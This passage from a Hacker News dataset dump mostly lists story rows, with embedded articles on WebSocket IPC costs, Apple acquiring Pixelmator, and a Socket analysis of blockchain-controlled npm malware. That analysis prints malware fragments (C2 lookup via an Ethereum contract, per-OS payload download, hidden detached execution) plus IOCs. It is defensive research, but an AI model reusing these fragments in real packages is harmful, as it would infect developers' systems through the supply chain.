something. It's off topic here.<p>Readers: please only email if you are personally interested in the job.<p>Searchers: try <a href="http://nchelluri.github.io/hnjobs/" rel="nofollow">http://nchelluri.github.io/hnjobs/</a>, <a href="https://hnresumetojobs.com" rel="nofollow">https://hnresumetojobs.com</a>,
<a href="https://hnhired.fly.dev" rel="nofollow">https://hnhired.fly.dev</a>, <a href="https://kennytilton.github.io/whoishiring/" rel="nofollow">https://kennytilton.github.io/whoishiring/</a>, <a href="https://hnjobs.emilburzo.com" rel="nofollow">https://hnjobs.emilburzo.com</a>.<p>Don't miss these other fine threads:<p><i>Who wants to be hired?</i> <a href="https://news.ycombinator.com/item?id=42017578">https://news.ycombinator.com/item?id=42017578</a><p><i>Freelancer? Seeking freelancer?</i> <a href="https://news.ycombinator.com/item?id=42017579">https://news.ycombinator.com/item?id=42017579</a> | null | 366 | 447 | [
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42,017,610 | sandwichsphinx | 2024-11-01T15:04:21 | DDoS site Dstat.cc seized and two suspects arrested in Germany | null | https://www.bleepingcomputer.com/news/security/ddos-site-dstatcc-seized-and-two-suspects-arrested-in-germany/ | 6 | 0 | [
42017813
] | null | null | null | null | null | null | null | null | null | train |
42,017,618 | dilawar | 2024-11-01T15:05:11 | Always Measure One Level Deeper | null | https://dl.acm.org/doi/fullHtml/10.1145/3213770 | 2 | 0 | null | null | null | null | null | null | null | null | null | null | train |
42,017,621 | arroub | 2024-11-01T15:05:54 | null | null | null | 1 | null | null | null | true | null | null | null | null | null | null | null | train |
42,017,626 | rntn | 2024-11-01T15:06:31 | Amazon to cough $75B on capex in 2024, more next year | null | https://www.theregister.com/2024/11/01/amazon_75b_capex/ | 1 | 0 | [
42017720
] | null | null | null | null | null | null | null | null | null | train |
42,017,646 | Ch00k | 2024-11-01T15:08:30 | How Google tells you what you want to hear | null | https://www.bbc.com/future/article/20241031-how-google-tells-you-what-you-want-to-hear | 2 | 0 | null | null | null | null | null | null | null | null | null | null | train |
42,017,647 | quraniduaa | 2024-11-01T15:08:31 | null | null | null | 1 | null | [
42017648
] | null | true | null | null | null | null | null | null | null | train |
42,017,670 | surprisetalk | 2024-11-01T15:10:51 | Turn your phone or tablet into a chess clock | null | https://akkartik.itch.io/carousel/devlog/826196/turn-your-phone-or-tablet-into-a-chess-clock | 44 | 36 | [
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] | null | null | null | null | null | null | null | null | null | train |
42,017,671 | davidgu | 2024-11-01T15:11:15 | Forking Chromium to Bolt on a High-Throughput Shared Memory Ringbuffer | null | https://www.recall.ai/post/forking-chromium-to-bolt-on-a-high-throughput-shared-memory-ringbuffer | 7 | 0 | [
42017924
] | null | null | no_error | How WebSockets cost us $1M on our AWS bill | null | null |
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IPC is something that is rarely top-of-mind when it comes to optimising cloud costs. But it turns out that if you IPC 1TB of video per second on AWS it can result in enormous bills when done inefficiently.
Join us in this deep dive where we unexpectedly discover how using WebSockets over loopback was ultimately costing us $1M/year in AWS spend and the quest for an efficient high-bandwidth, low-latency IPC.
Recall.ai powers meeting bots for hundreds of companies. We capture millions of meetings per month, and operate enormous infrastructure to do so.
We run all this infrastructure on AWS. Cloud computing is enormously convenient, but also notoriously expensive, which means performance and efficiency is very important to us.
In order to deliver a cost-efficient service to our customers, we're determined to squeeze every ounce of performance we can from our hardware.
We do our video processing on the CPU instead of on GPU, as GPU availability on the cloud providers has been patchy in the last few years. Before we started our optimization efforts, our bots generally required 4 CPU cores to run smoothly in all circumstances. These 4 CPU cores powered all parts of the bot, from the headless Chromium used to join meetings to the real-time video processing piplines to ingest the media.
We set a goal for ourselves to cut this CPU requirement in half, and thereby cut our cloud compute bill in half.
A lofty target, and the first step to accomplish it would be to profile our bots.
Our CPU is being spent doing what??
Everyone knows that video processing is very computationally expensive. Given that we process a ton of video, we initially expected the majority of our CPU usage to be video encoding and decoding.
We profiled a sample of running bots, and came to a shocking realization. The majority of our CPU time was actually being spent in two functions: __memmove_avx_unaligned_erms and __memcpy_avx_unaligned_erms.
Let's take a brief detour to explain what these functions do.
memmove and memcpy are both functions in the C standard library (glibc) that copy blocks of memory. memmove handles a few edge-cases around copying memory into overlapping ranges, but we can broadly categorize both these functions as "copying memory".
The avx_unaligned_erms suffix means this function is specifically optimized for systems with Advanced Vector Extensions (AVX) support and is also optimized for unaligned memory access. The erms part stands for Enhanced REP MOVSB/STOSB, which are optimizations in recent Intel processors for fast memory movement. We can broadly categorize the suffix to mean "a faster implementation, for this specific processor"
In our profiling, we discovered that by far, the biggest callers of these functions were in our Python WebSocket client that was receiving the data, followed by Chromium's WebSocket implementation that was sending the data.
An expensive set of sockets...
After pondering this, the result started making more sense. For bots that join calls using a headless Chromium, we needed a way to transport the raw decoded video out of Chromium's Javascript environment and into our encoder.
We originally settled on running a local WebSocket server, connecting to it in the Javascript environment, and sending data over that channel.
WebSocket seemed like a decent fit for our needs. It was "fast" as far as web APIs go, convenient to access from within the JS runtime, supported binary data, and most importantly was already built-in to Chromium.
One complicating factor here is that raw video is surprisingly high bandwidth. A single 1080p 30fps video stream, in uncompressed I420 format, is 1080 * 1920 * 1.5 (bytes per pixel) * 30 (frames per second) = 93.312 MB/s
Our monitoring showed us that at scale, the p99 bot receives 150MB/s of video data.
That's a lot of data to move around!
The next step was to figure out what specifically was causing the WebSocket transport to be so computationally expensive. We had to find the root cause, in order to make sure that our solution would sidestep WebSocket's pitfalls, and not introduce new issues of it's own.
We read through the WebSocket RFC, and Chromium's WebSocket implementation, dug through our profile data, and discovered two primary causes of slowness: fragmentation, and masking.
Fragmentation
The WebSocket specification supports fragmenting messages. This is the process of splitting a large message across several WebSocket frames.
According to Section 5.4 of the WebSocket RFC):
The primary purpose of fragmentation is to allow sending a message that is of unknown size when the message is started without having to buffer that message. If messages couldn't be fragmented, then an endpoint would have to buffer the entire message so its length could be counted before the first byte is sent. With fragmentation, a server or intermediary may choose a reasonable size buffer and, when the buffer is full, write a fragment to the network.
A secondary use-case for fragmentation is for multiplexing, where it is not desirable for a large message on one logical channel to monopolize the output channel, so the multiplexing needs to be free to split the message into smaller fragments to better share the output channel. (Note that the multiplexing extension is not described in this document.)
Different WebSocket implementations have different standards
Looking into the Chromium WebSocket source code, messages larger than 131KB will be fragmented into multiple WebSocket frames.
A single 1080p raw video frame would be 1080 * 1920 * 1.5 = 3110.4 KB in size, and therefore Chromium's WebSocket implementation would fragment it into 24 separate WebSocket frames.
That's a lot of copying and duplicate work!
Masking
The WebSocket specification also mandates that data from client to server is masked.
To avoid confusing network intermediaries (such as intercepting proxies) and for security reasons that are further discussed in Section 10.3, a client MUST mask all frames that it sends to the server
Masking the data involves obtaining a random 32-bit masking key, and XOR-ing the bytes of the original data with the masking key in 32-bit chunks.
This has security benefits, because it prevents a client from controlling the bytes that appear on the wire. If you're interested in the precise reason why this is important, read more here!
While this is great for security, the downside is masking the data means making an additional once-over pass over every byte sent over WebSocket -- insignificant for most web usages, but a meaningful amount of work when you're dealing with 100+ MB/s
Quest for a cheaper transport!
We knew we need to move away from WebSockets, so we began our quest to find a new mechanism to get data out of Chromium.
We realized pretty quickly that browser APIs are severely limited if we wanted something significantly more performant that WebSocket.
This meant we'd need to fork Chromium and implement something custom. But this also meant that the sky was the limit for how efficient we could get.
We considered 3 options: raw TCP/IP, Unix Domain Sockets, and Shared Memory:
TCP/IP
Chromium's WebSocket implementation, and the WebSocket spec in general, create some especially bad performance pitfalls.
How about we go one level deeper and add an extension to Chromium to allow us to send raw TCP/IP packets over the loopback device?
This would bypass the issues around WebSocket fragmentation and masking, and this would be pretty straightforward to implement. The loopback device would also introduce minimal latency.
There were a few drawbacks however. Firstly, the maximum size for TCP/IP packets is much smaller than the size of our raw video frames, which means we still run into fragmentation.
In a typical TCP/IP network connected via ethernet, the standard MTU (Maximum Transmission Unit) is 1500 bytes, resulting in a TCP MSS (Maximum Segment Size) of 1448 bytes. This is much smaller than our 3MB+ raw video frames.
Even the theoretical maximum size of a TCP/IP packet, 64k, is much smaller than the data we need to send, so there's no way for us to use TCP/IP without suffering from fragmentation.
There was another issue as well. Because the Linux networking stack runs in kernel-space, any packets we send over TCP/IP need to be copied from user-space into kernel-space. This adds significant overhead as we're transporting a high volume of data.
Unix Domain Sockets
We also explored exiting the networking stack entirely, and using good old Unix domain sockets.
A classic choice for IPC, and it turns out Unix domain sockets can actually be pretty fast.
Most importantly however, Unix domain sockets are a native part of the Linux operating system we run our bots in, and there are pre-existing functions and libraries to push data through Unix sockets.
There is one con however. To send data through a Unix domain socket, it needs to be copied from user-space to kernel-space, and back again. With the volume of data we're working with, this is a decent amount of overhead.
Shared Memory
We realized we could go one step further. Both TCP/IP and Unix Domain Sockets would at minimum require copying the data between user-space and kernel-space.
With a bit of DIY, we could get even more efficient using Shared Memory.
Shared memory is memory that can be simultaneously accessed by multiple processes at a time. This means that our Chromium could write to a block of memory, which would then be read directly by our video encoder with no copying at all required in between.
However there's no standard interface for transporting data over shared memory. It's not a standard like TCP/IP or Unix Domain sockets. If we went the shared memory route, we'd need to build the transport ourselves from the ground up, and there's a lot that could go wrong.
Glancing at our AWS bill gave us the resolve we needed to push forward. Shared memory, for maximum efficiency, was the way to go.
Sharing is caring (about performance)
As we need to continuously read and write data serially into our shared memory, we settled on a ring buffer as our high level transport design.
There are quite a few ringbuffer implementations in the Rust community, but we had a few specific requirements for our implementation:
Lock-free: We need consistent latency and no jitter, otherwise our real-time video processing would be disrupted.
Multiple producer, single consumer: We have multiple chromium threads writing audio and video data into the buffer, and a single thread in the media pipline consuming this data.
Dynamic Frame Sizes: Our ringbuffer needed to support audio packets, as well as video frames of different resolutions, meaning the size of each datum could vary drastically.
Zero-Copy Reads: We want to avoid copies as much as possible, and therefore want our media pipeline to be able to read data out of the buffer without copying it.
Sandbox Friendlyness: Chromium threads are sandboxed, and we need them to be able to access the ringbuffer easily.
Low Latency Signalling: We need our Chromium threads to be able to signal to the media pipeline when new data is available, or when buffer space is available.
We evaluated the off-the-shelf ringbuffer implementations, but didn't find one that fit our needs... so we decided to write our own!
The most non-standard part of our ring-buffer implementation is our support for zero-copy reads. Instead of the typical two-pointers, we have three pointers in our ring buffer:
write pointer: the next address to write to
peek pointer: the address of the next frame to read
read pointer: the address where data can be overwritten
To support zero-copy reads we feed frames from the peek pointer into our media pipeline, and only advance the read pointer when the frame has been fully processed.
This means that it's safe for the media pipeline to hold a reference to the data inside the ringbuffer, since that reference is guaranteed to be valid until the data is fully processed and the read pointer is advanced.
We use atomic operations to update the pointers in a thread-safe manner, and to signal that new data is available or buffer space is free we use a named semaphore.
After implementing this ringbuffer, and deploying this into production with a few other optimizations, we were able to reduce the CPU usage of our bots by up to 50%.
This exercise in optimizing IPC for CPU efficiency reduced our AWS bill by over a million dollars per year, a huge impact and a really great use of time! | 2024-11-07T20:02:56 | en | train |
42,017,676 | Olandlela | 2024-11-01T15:11:37 | null | null | null | 1 | null | [
42017835,
42017683
] | null | true | null | null | null | null | null | null | null | train |
42,017,709 | CharlesW | 2024-11-01T15:14:44 | Apple sinks $1.1B into Globalstar's satellite network, takes ownership stake | null | https://sixcolors.com/post/2024/11/apple-sinks-1-1-billion-into-globalstars-satellite-network-takes-ownership-stake/ | 5 | 1 | [
42018024
] | null | null | null | null | null | null | null | null | null | train |
42,017,726 | atan2 | 2024-11-01T15:16:16 | Implementing a Tiny CPU Rasterizer | null | https://lisyarus.github.io/blog/posts/implementing-a-tiny-cpu-rasterizer.html | 115 | 46 | [
42022556,
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42027459,
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] | null | null | null | null | null | null | null | null | null | train |
42,017,730 | surprisetalk | 2024-11-01T15:16:57 | The evolution of nepotism in academia, 1088-1800 | null | https://link.springer.com/article/10.1007/s10887-024-09244-0#auth-David_de_la-Croix-Aff1 | 2 | 0 | [
42017731
] | null | null | null | null | null | null | null | null | null | train |
42,017,741 | gaws | 2024-11-01T15:17:44 | Getting Lost in UFO 50 | null | https://dansinker.com/posts/2024-09-25-ufo50/ | 2 | 1 | [
42017919,
42017811
] | null | null | null | null | null | null | null | null | null | train |
42,017,771 | sigmar | 2024-11-01T15:19:46 | Using Large Language Models to Catch Vulnerabilities | null | https://googleprojectzero.blogspot.com/2024/10/from-naptime-to-big-sleep.html | 170 | 29 | [
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] | null | null | null | null | null | null | null | null | null | train |
42,017,777 | surprisetalk | 2024-11-01T15:20:35 | The maximum pixel dimensions of a WebP image is 16383 x 16383 | null | https://developers.google.com/speed/webp/faq | 4 | 2 | [
42018904,
42020132,
42017883
] | null | null | null | null | null | null | null | null | null | train |
42,017,780 | nazka | 2024-11-01T15:20:56 | Universal Paperclips | null | https://www.decisionproblem.com/paperclips/ | 2 | 2 | [
42017781,
42017832,
42017820
] | null | null | no_title | null | null | null | null | 2024-11-08T21:14:28 | null | train |
42,017,809 | padolsey | 2024-11-01T15:23:10 | LLM Security: Keep Untrusted Content in the User Role–Always | null | https://blog.j11y.io/2024-10-30_ROLP/ | 1 | 0 | null | null | null | null | null | null | null | null | null | null | train |
42,017,814 | ianbutler | 2024-11-01T15:23:31 | Ask HN: Has the LLM/transformer architecture hit its limit? | Have we hit the limit for performance increases on the current architecture of LLMs?<p>I’ve heard some amount of agreement among professionals that yes we are, and with things like papers showing Chain of Thought isn’t a silver bullet it calls into question how valuable models like o1 are it slightly tilts my thinking as well.<p>What seems to be the consensus here? | null | 2 | 7 | [
42017892,
42017854,
42032067,
42017866
] | null | null | null | null | null | null | null | null | null | train |
42,017,829 | null | 2024-11-01T15:24:40 | null | null | null | null | null | null | [
"true"
] | true | null | null | null | null | null | null | null | train |
42,017,864 | Buuntu | 2024-11-01T15:26:55 | After the Election, California Will Keep Moving the World Forward No Matter What | null | https://www.wired.com/story/california-will-keep-moving-the-world-forward/ | 12 | 1 | [
42019444
] | null | null | null | null | null | null | null | null | null | train |
42,017,884 | tosh | 2024-11-01T15:27:52 | null | null | null | 1 | null | [
42017938
] | null | true | null | null | null | null | null | null | null | train |
42,017,888 | intrepidsoldier | 2024-11-01T15:27:58 | Coding with LLMs requires a trust fall | null | https://ramansharma.substack.com/p/coding-with-llms-requires-a-trust | 3 | 0 | [
42018009
] | null | null | null | null | null | null | null | null | null | train |
42,017,916 | teamstealthsec | 2024-11-01T15:29:18 | null | null | null | 1 | null | null | null | true | null | null | null | null | null | null | null | train |
42,017,925 | TMWNN | 2024-11-01T15:29:48 | Why a Memphis Community Is Fighting Elon Musk's Supercomputer | null | https://www.nytimes.com/2024/10/31/business/energy-environment/elon-musk-ai-memphis-pollution.html | 3 | 0 | null | null | null | null | null | null | null | null | null | null | train |
42,017,943 | feross | 2024-11-01T15:31:08 | NPM Malware Campaign Leverages Ethereum Smart Contracts to Evade | null | https://socket.dev/blog/massive-npm-malware-campaign-leverages-ethereum-smart-contracts | 3 | 0 | [
42018019
] | null | null | no_error | Massive npm Malware Campaign Leverages Ethereum Smart Contra... | null | null | Supply chain attacks are evolving. The Socket research team has uncovered a massive malware campaign that uses Ethereum smart contracts to control its operations — making it nearly impossible to shut down through traditional means. Instead of using conventional command and control servers that can be blocked or taken offline, these attackers are leveraging blockchain's decentralized architecture to maintain persistent control over their malware.This technique represents a significant evolution in supply chain attacks targeting the npm ecosystem. In 2023, similar supply chain attacks impacted over 1.6 million downloads, and this new blockchain-based approach demonstrates how attackers continue to innovate their methodologies to evade detection and maintain persistence.Technical Analysis#Discovery and Initial AssessmentOur investigation began last week with the discovery of a suspicious package named "haski" (version 2.8.5) - a typosquat targeting husky, the popular git hooks library. This malicious package attempted to exploit husky's reputation by mimicking its name while containing obfuscated malicious code linked to an Ethereum wallet address.The malicious code was designed to execute automatically upon installation through a postinstall script defined in the package's package.json file. The postinstall script is a lifecycle hook in npm that runs automatically after the package is installed. By leveraging this, the attackers ensure that their malicious code is executed without any additional action from the user.This initial finding proved to be the tip of the iceberg.Over the last twenty-four hours, our AI scanner detected a sudden wave of malware packages flooding the npm ecosystem, all exhibiting the same execution flow and identical blockchain-based characteristics. This onslaught suggests a carefully plotted attack, with the initial "haski" package potentially serving as a test run.Further investigation revealed dozens of packages, all following a consistent pattern:Legitimate-looking package names and descriptionsSimilar obfuscation patterns using the _0x prefixIdentical code structure once deobfuscatedCommon Ethereum contract interactions using the same wallet address found in the initial "haski" typosquatUpon deobfuscation, we confirmed these packages were part of a coordinated campaign, each containing a sophisticated multi-stage malware downloader using Ethereum smart contracts for C2 communication. The attack infrastructure was consistent across all packages, using the same Ethereum contract address and wallet for C2 communication.Each of the more than one hundred malware packages was published by a distinct, fake maintainer likely auto-generated through a tool like Faker. These profiles use randomized usernames and plausible email addresses with common names and random digits, such as upj4cimrds1fo with email address [email protected] notable patterns across the discovered packages include:Similar publication timestamps after the initial "haski" deployment, suggesting automated campaign expansionConsistent code obfuscation techniquesIdentical blockchain-based C2 mechanismUniform cross-platform payload delivery methodsThis evolution from a targeted typosquat of a popular package to a broader automated campaign demonstrates the threat actors' shift toward more sophisticated and scalable attack methodologies.Attack ArchitectureThe malware operates in three distinct stages:Blockchain-Based C2 Retrievalconst contractAddress = '0xa1b40044EBc2794f207D45143Bd82a1B86156c6b';
const WalletOwner = '0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84';
const abi = ['function getString(address account) public view returns (string)'];
The malware queries a specific Ethereum contract to retrieve the payload URL, making traditional C2 blocking ineffective.Through dynamic analysis of the contract interactions, we developed a script to query the malicious smart contract directly:const { ethers } = require("ethers");
const provider = ethers.getDefaultProvider("mainnet");
const abi = ["function getString(address account) public view returns (string)"];
const contract = new ethers.Contract("0xa1b40044eBc2794f2707d45143Bd82a1B86156c6b", abi, provider);
async function getUrl() {
try {
const address = ethers.utils.getAddress("0x522212c293a21DBCA7AFD01aC6bFAC7175D590A84");
const baseUrl = await contract.getString(address);
console.log("Base URL:", baseUrl);
} catch (error) {
console.error("Error:", error);
}
}
getUrl();The contract query returned a C2 server address operating at http://45[.]125[.]67[.]172:1337. The use of a non-standard port (1337), combined with blockchain-based command retrieval, indicates a deliberate effort to evade standard detection mechanisms and to create a resilient and hard-to-disrupt C2 infrastructure:Key findings from the C2 analysis:Direct IP address usage instead of domain namesNon-standard port implementationContract-based address retrievalCross-Platform Payload Distributionconst getDownloadUrl = (baseUrl) => {
const platform = os.platform();
switch (platform) {
case 'win32':
return baseUrl + '/node-win.exe';
case 'linux':
return baseUrl + '/node-linux';
case 'darwin':
return baseUrl + '/node-macos';
}
};
The code demonstrates a targeted platform detection and targeted payload delivery for Windows, Linux, and MacOS systems.Stealthy Executionconst executeFileInBackground = async (filepath) => {
const process = spawn(filepath, [], {
detached: true,
stdio: 'ignore'
});
process.unref();
};The malware executes the downloaded payload with multiple stealth mechanisms:Uses system temp directory for payload storageSpawns detached processesImplements error handling for persistenceOperates silently without user interactionCrypto Address WorkflowThe funding address 0x4E5B2e1dc63F6b91cb6Cd759936495434C7e972F appears to have a history of involvement in several crypto scams and controversial campaigns, including an incident where approximately $26 million was reportedly drained from BTC and ETH wallets and a portion deposited into this address.The flow begins with the address (0x4E5B2...), which enables anonymous transactions, passing funds to an intermediary address (0x46b0f9bA...) for further separation. The funds then reach the primary wallet (0x52221c2...), the main operational hub that frequently interacts with a suspicious contract (0xa1b400...), using the Set String method to store or update data. This contract likely acts as a C2 node, allowing the attacker to maintain control over malware deployments securely and persistently through the blockchain. The transaction chain is carefully structured with low-value transactions to avoid detection, demonstrating a novel use of blockchain technology for decentralized and resilient C2 infrastructure.Russian Language Used in the Malicious CodeDuring the analysis, the Socket Threat Research Team identified multiple instances of Russian language usage within the malicious packages codebase. The code contains error messages written in Russian, which are used in exception handling and logging.console.error('Ошибка установки:', error);Translation: “Installation error:”. This string is logged when an error occurs during the installation or execution of the downloaded file.console.error('Ошибка при получении IP адреса:', error);Translation: “Error retrieving IP address:”. This string is logged when there is an error while fetching data from the Ethereum smart contract.The inclusion of Russian language elements in the malicious code suggests the attacker might be proficient in Russian, but this should be interpreted cautiously due to the possibility of deliberate misattribution or code reuse. Language usage is just one factor among many, and further analysis is necessary to conclusively determine the attacker's identity and origin.Impact and ImplicationsThis attack vector is particularly concerning for several reasons:Resilient C2: Traditional domain blocking is ineffective against blockchain-based communicationCross-Platform: Targets all major operating systemsStealth: Intentional obfuscation and execution techniquesPersistence: Error handling ensures payload delivery by persistently retrying data from the blockchainProtect your Supply Chain with Socket#The discovery of this blockchain-based malware campaign demonstrates the evolving sophistication of supply chain attacks in the npm ecosystem. Threat actors are now leveraging smart contracts for command and control, making traditional security measures ineffective. This campaign, spanning multiple packages like "ethsg-util", "web3-toekn", and "ethblk-tracker", showcases how attackers can distribute advanced malware through seemingly legitimate packages.Traditional code review and manual security checks are insufficient against these modern threats. The malware's use of blockchain for C2, intentional obfuscation, and cross-platform payload delivery demands a more robust, automated approach to package security. Socket's free GitHub app provides this crucial layer of protection by:Identifying obfuscated malicious code patternsScanning install scripts for dangerous system operationsAlerting developers instantly via GitHub comments before malicious code enters your supply chainUnauthorized network connectionsCross-platform payload downloadsSystem-level operationsInstall Socket's free GitHub app today and get immediate protection against advanced supply chain attacks.Conclusion#This discovery marks a significant evolution in supply chain attacks, demonstrating how attackers are leveraging blockchain technology to create more resilient malware infrastructure. The combination of blockchain-based C2, cross-platform targeting, and stealth mechanisms makes this a threat that requires enhanced security measures.To protect your organization from similar threats, consider implementing automated dependency scanning with Socket's GitHub integration. Our tools can help identify suspicious packages before they enter your supply chain, providing early warning against emerging threats like this blockchain-based attack vector.Update 11/1: This malware campaign is ongoing and we added more than 100 malicious packages to the IOCs. These include notable typosquats pretierr (typosquat for Prettier) and neextjs (targeting next).Update 11/4:Over the weekend, we have observed more malicious packages being published as part of this campaign, targeting a variety widely used legitimate npm packages such as nodemailer or axios.IOCs (Indicators of Compromise)Ethereum Contract: 0xa1b40044EBc2794f207D45143Bd82a1B86156c6bWallet Address: 0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84File Patterns: Windows: node-win.exeLinux: node-linuxMacOS: node-macosEmail:KarenCampbelljzm2902@gmail[.]com (one of over a hundred fake email addresses)IP Address:45[.]125[.]67[.]172Malicious packages: bignum.jsbigumner-jseth-erreth-errorseth-gas-reporteth-gasreportreth-gasreportreth-keycontrolereth-keyringcontrlereth-namehasheth-rperrorseth-trackerethblk-trackerethblock-trackrether-js-txether-multcalethereumjsutilityetherjs-utilethers-multcallethers-multicaaletherscaan-apietherscn-apietherscna-apiethgass-reporterethkr-controlerethrereum-js-txethsg-utilganach-clignache-clihardhatjskeyring-controlleropenzeppelinsolidtyopenzepplin-solidityozeppelinsolidtypupeteeerproxypupeteer-autoscroll-downpupeteer-capturepupeteer-clipupeteer-clusterpupeteer-clusterpupeteer-extra-plugin-adblockerpupeteer-extra-plugin-adblockerpupeteer-firefoxpupeteer-harpupeteer-page-proxypupeteer-proxypupeteer-recorderpupeteer-recordpupeteer-screen-recorderpupeteer-screen-recorderpupeteer-webpupeteerextrapupeteerreqintercepterpupeteerscreenrecordrpupeterpupetierpuppeteer-autoscrollpuppeteer-captrepuppeteer-extra-plugin-adblokcerpuppeteer-extra-stealthpuppeteer-firfoxpuppeteer-harrpuppeteer-html2pdpuppeteer-req-interceptorpuppeteer-screencorderpuppeteercapturpuppeteercluserpuppeteercluserpuppeteerextraadblockerpuppeteerfoxpuppeteerfoxpuppeteerpluginstealthpuppeteerrecordrpuppeteerrequestinterceptorpuppeteerscroll-downpuppeteerwwebpuppeterfirefoxpuppetewebrsoliddty-coveragesolidity-covragesoliditycoveragsolidty-coveagesoliidtysolitdysolitdysolitytrufelwb-eth3wb3-ethwb3-providerwb3-toknwb3corweb-bzweb-eth-abiweb-ethweb-providersweb3-abiiweb3-provdrweb3-toeknweb3bzweb3e-ibanweb3ethabiiweb3ibaanweb3ibnweb3toknweb3utilwebb3-bzzzalf22ausi8zalfausi8New Malicious Packages as of 11/1:bal-ethbalanceebalencebcdtbcinbcoibcoinnbigtobitapy-sdkbitcopre-p2pbitcor-mnemonicbitcor-walletbitcore-mnemicbitcore-mnemoicbitcore-waletbitgblockcyperblockhain.infoblockstakblockypherblocypherblokstackchai-linkchainlinnkchanlinkchbimcoibnasecoinbsecoingeckcoingecoconibasecrypt-pouchcrypto-puchcryptocmoparecryptocomapredahsjdahsjsdasjhsdcentralanddecentrandelctrumelecturmeletcrumelighwalletetcontract-metadataeth-cmetaeth-criptoeth-crptoeth-expleth-jsuneth-junteth-lightwaleteth-qeryeth-rpc-erseth-toknseth-xporethcryproethens-nameethersanetherscannethjsonrpc-errethlightwlletethmetadataethquerethtoketwlexplrganahcelibbitconlibbitoinlibbitoinlibbtclitcorelitecor-liblitecormetamaksmetamskmetamsskmonneromonroneextjsnem-libraynme-librarypretierrriplle-librippel-libscolsoliddgensoliddocsolidtystelar-sdksubsratesubstartetehtertetherrtetthertoknstronewbtronwbtzeos-sdkwal-ethwaletconnectwallet-conncetwalletconectwavs-apizcahzcasNew Malicious Packages as of 11/4:agentbasagentbseagentkpaliveagn-baseax-auth-refreshax-middlewareax-ntlmax-proxy-fixax-retryax-throttleaxios-authrefaxios-cookiesupportaxios-middlwareaxios-mockadptraxios-nlmbasicathcharjschrtjsexp-http-proxyexpress-httpprxyfast-http-proxyfetch-hfst-http-proxyglbl-agentgranntgraphql-ygagrapql-yogah20-2htp-authhtp2-wrapperhtp2http-authttp-proxi-cachehttp2wraplogjs4mocktpn-http-proxyn-httpn-socks-proxynod-httpnod-proxynode-htproxynode-s-proxynode-tunlnodmailrnodmialeroath2ouath2p-httpp-oauthp-oauth2pass-httppass-oauth2pmtoprox-chainproxyagntprxy-chainsazzstyledcompsthre-jstnl-agenttunnelagntundcvaldatr | 2024-11-08T09:18:07 | en | train |
42,017,954 | PigeonCodeur | 2024-11-01T15:32:01 | null | null | null | 1 | null | null | null | true | null | null | null | null | null | null | null | train |
42,017,958 | rnjailamba | 2024-11-01T15:32:05 | Jhourney's "super secret" master plan | null | https://www.jhourney.io/blog/jhourneys-super-secret-master-plan | 1 | 0 | null | null | null | null | null | null | null | null | null | null | train |
42,017,959 | TMWNN | 2024-11-01T15:32:11 | Comcast Explores Spin-Out of Cable Network Business | null | https://www.nytimes.com/2024/10/31/business/media/comcast-cable-networks-spin-off.html | 2 | 0 | null | null | null | null | null | null | null | null | null | null | train |
42,017,966 | lordwiz | 2024-11-01T15:32:48 | Chinese launch startup Cosmoleap secures funding for rocket chopstick recovery | null | https://spacenews.com/chinese-launch-startup-cosmoleap-secures-funding-for-rocket-featuring-chopstick-recovery-system/ | 2 | 1 | [
42017997,
42018120
] | null | null | null | null | null | null | null | null | null | train |
42,017,974 | craigkerstiens | 2024-11-01T15:33:23 | Moving Off Heroku, Slowly | null | https://jamie.ideasasylum.com/2024/10/30/moving-off-heroku-slowly | 3 | 0 | [
42018002
] | null | null | null | null | null | null | null | null | null | train |
42,017,994 | todsacerdoti | 2024-11-01T15:35:04 | C++ programmer′s guide to undefined behavior: part 8 of 11 | null | https://pvs-studio.com/en/blog/posts/cpp/1178/ | 5 | 0 | [
42018004
] | null | null | null | null | null | null | null | null | null | train |
42,018,013 | dm | 2024-11-01T15:36:27 | Apple acquires Pixelmator | null | https://www.pixelmator.com/blog/2024/11/01/a-new-home-for-pixelmator/ | 1,180 | 565 | [
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] | null | null | null | null | null | null | null | null | null | train |
42,018,022 | Brajeshwar | 2024-11-01T15:37:28 | I write for you, not social media or SEO | null | https://jatan.space/i-write-for-you/ | 2 | 0 | [
42018086
] | null | null | null | null | null | null | null | null | null | train |
42,018,051 | lemonberry | 2024-11-01T15:39:35 | Opalized Fossils Found in New South Wales | null | https://www.abc.net.au/news/2024-11-01/opal-fossils-of-lightning-ridge-unlock-evolution/104126904 | 2 | 0 | null | null | null | null | null | null | null | null | null | null | train |
42,018,052 | doublepg23 | 2024-11-01T15:39:37 | Nvidia is working on Arm processors for Windows, according to report | null | https://www.pcworld.com/article/2508339/report-nvidia-is-working-on-arm-cpus-for-windows.html | 7 | 1 | [
42018157,
42018104
] | null | null | null | null | null | null | null | null | null | train |
42,018,074 | thunderbong | 2024-11-01T15:41:29 | Alaska Marine Highway | null | https://en.wikipedia.org/wiki/Alaska_Marine_Highway | 2 | 0 | [
42018098
] | null | null | null | null | null | null | null | null | null | train |
42,018,079 | fanf2 | 2024-11-01T15:42:03 | Smolweb HTML Specification | null | https://smolweb.org/specs/index.html | 5 | 0 | null | null | null | null | null | null | null | null | null | null | train |
42,018,080 | razin | 2024-11-01T15:42:04 | Apple reaches deal to acquire Pixelmator | null | https://9to5mac.com/2024/11/01/apple-reaches-deal-to-acquire-pixelmator/ | 3 | 0 | [
42018090
] | null | null | no_error | Apple reaches deal to acquire Pixelmator - 9to5Mac | 2024-11-01T15:31:01+00:00 | Chance Miller |
Apple is acquiring the popular photo editing company Pixelmator. The Pixelmator Team announced the news in a blog post on Friday and said there will be “no material changes” to its apps “at this time.” The deal is pending regulatory approval.
Pixelmator has signed an agreement to be acquired by Apple, subject to regulatory approval. There will be no material changes to the Pixelmator Pro, Pixelmator for iOS, and Photomator apps at this time. Stay tuned for exciting updates to come.
Pixelmator, a 17-year-old company, says that the Apple acquisition will let its tools have an even bigger impact on creative people around the world:
We’ve been inspired by Apple since day one, crafting our products with the same razor-sharp focus on design, ease of use, and performance. And looking back, it’s crazy what a small group of dedicated people have been able to achieve over the years from all the way in Vilnius, Lithuania. Now, we’ll have the ability to reach an even wider audience and make an even bigger impact on the lives of creative people around the world.
Pixelmator has become a staple of the Apple ecosystem over the years with its incredibly popular and powerful Pixelmator Pro and Photomator apps. The apps have also added a number of powerful AI and ML features over the years, including background removal tools and Super Resolution.
For those unfamiliar, Pixelmator Pro is described as a “professional image editing [tool] that anyone can use.” Photomator, meanwhile, is the “ultimate photo editor for Mac, iPhone, iPad, and Vision Pro.”
